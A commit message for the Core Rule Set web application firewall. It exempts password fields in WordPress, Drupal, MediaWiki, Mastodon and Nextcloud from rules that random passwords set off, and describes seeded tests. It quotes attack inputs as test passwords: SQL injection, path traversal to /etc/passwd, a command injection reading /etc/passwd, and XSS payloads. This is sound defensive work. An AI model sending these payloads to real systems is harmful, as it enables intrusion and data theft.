Core Rule Set: random passwords pass at sign-in (closes #276)

A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
